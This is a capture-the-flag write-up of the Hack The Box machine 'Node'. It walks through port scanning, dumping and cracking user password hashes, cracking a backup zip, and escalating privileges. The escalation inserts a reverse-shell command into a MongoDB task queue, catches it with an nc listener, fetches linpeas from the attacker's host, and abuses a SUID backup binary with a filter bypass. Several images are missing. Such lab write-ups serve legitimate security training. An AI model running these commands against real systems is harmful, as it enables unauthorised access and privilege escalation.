Featured image of post Node Hackthebox

Node Hackthebox

<- Not working

[*] INDEX:

[+] BOX INFO πŸ’» :

Operative System : Linux 🐧
Difficulty : Medium πŸŒ“
Owner : rastating
IP : 10.10.10.58

[+] PART 1 - GAIN ACCESS

The first step is scanning machine’s ports with nmap:

nmap -p- –open -T5 -n -Pn 10.10.10.58

PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp

Once seen open ports, let’s get a deeper scan :

nmap -p22,3000 -sV -sC -sS 10.10.10.58

PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open  hadoop-datanode Apache Hadoop
| hadoop-datanode-info: 
|_  Logs: /login
| hadoop-tasktracker-info: 
|_  Logs: /login
|_http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Here we can see a http server, let’s ennumerate it .

<- Not working

It was not possible to fuzz the website, because it always returns a 200 status as we can see :

<- Not working

So let’s open BurpSuite and check the requests. If we refresh inside Tom’s profile and we look at the requests it makes we can see this :

<- Not working

So, let’s check there :

<- Not working

Oh, let’s get the credetials of all the users :

<- Not working

[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]

As we can see -> “myP14ceAdm1nAcc0uNT” is the admin, so let’s crack all the passwords, In my case I’m gonna be using Crackstation:

<- Not working

Let’s login :

<- Not working

<- Not working

<- Not working

Let’s download the backup :

<- Not working

So, myplace.backup is a base64 text, let’s decode it :

base64 -d myplace.backup > backup.b64

<- Not working

Let’s unzip the file :

<- Not working

Oh! But I don’t have that pass… Let’s crack it with fcrackzip:

<- Not working

Now, let’s unzip it :

<- Not working

If we check at those files, we can find this :

<- Not working

Some creds! Let’s try to login through ssh :

<- Not working

[+] PART 2 - PRIVESC

Let’s run linpeas.sh

Let’s start a python http server and get the file :

From our local machine :

python3 -m http.server80

From the victim machine :

wget 10.10.14.4/linpeas.sh

chmod +x linpeas.sh

./linpeas.sh

I could see that the user tom was running a task :

tom       1217  0.0  3.5 1008568 26864 ?       Ssl  15:27   0:01 /usr/bin/node /var/scheduler/app.js

Let’s check that file :

<- Not working

This process is ran by tom, so if we can get a reverse shell, we could become tom. Let’s connect to mongo :

mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler

If we read carefully the app.js file :

const exec        = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectID    = require('mongodb').ObjectID;
const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
          }
        });
      }
      else if (error) {
        console.log('Something went wrong: ' + error);
      }
    });
  }, 30000);

});

We can see that setInterval function executes whatever is under cmd value and after that, it deletes the task. So let’s get a reverse shell and add it as a task, as we can see in this mongodb documentation. In my case I’ll get a python reverse shell from ironhackers. I placed the reverse shell in /tmp due to the fact that there we have write permissions, and now, let’s add it as a task :

db.tasks.insertOne( { cmd: “python /tmp/reverse_shell.py " } );

<- Not working

Now let’s listen from our local machine with nmap :

rlwrap nc -klvnp 8989

<- Not working

Nice! To get a more β€œcomfortable shell” we can run this :

python3 -c 'import pty; pty.spawn("/bin/bash")'
export SHELL=bash
export TERM=xterm-256color
stty rows 59 columns 235

Now we have to enumerate again, in my case I found this SUID file, which tom has access to execute because he is in the admin group :

find / -perm -u=s -type f 2>/dev/null

<- Not working

I ran strings to see what was going on with the binary :

<- Not working

So, as I can guess this file creates a base64 encoded backup of a directory, let’s check app.js to see if we can find something interesting. I found this :

[...]
const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';


[...]
  app.get('/api/admin/backup', function (req, res) {
    if (req.session.user && req.session.user.is_admin) {
      var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
      var backup = '';

      proc.on("exit", function(exitCode) {
        res.header("Content-Type", "text/plain");
        res.header("Content-Disposition", "attachment; filename=myplace.backup");
        res.send(backup);
      });
[]...]

Let’s try to execute the program with this command :

./backup -q ‘45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474’ /tmp

<- Not working

And it kinda actually worked… We can grab root’s flag, but it’s actually filtered, but we can bypass this setting /root as $HOME due to the fact that ~ is not filtered:

export HOME=/root

./backup -q ‘45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474’ “~”

<- Not working

THANKS FOR READING 😊 !!

maikypedia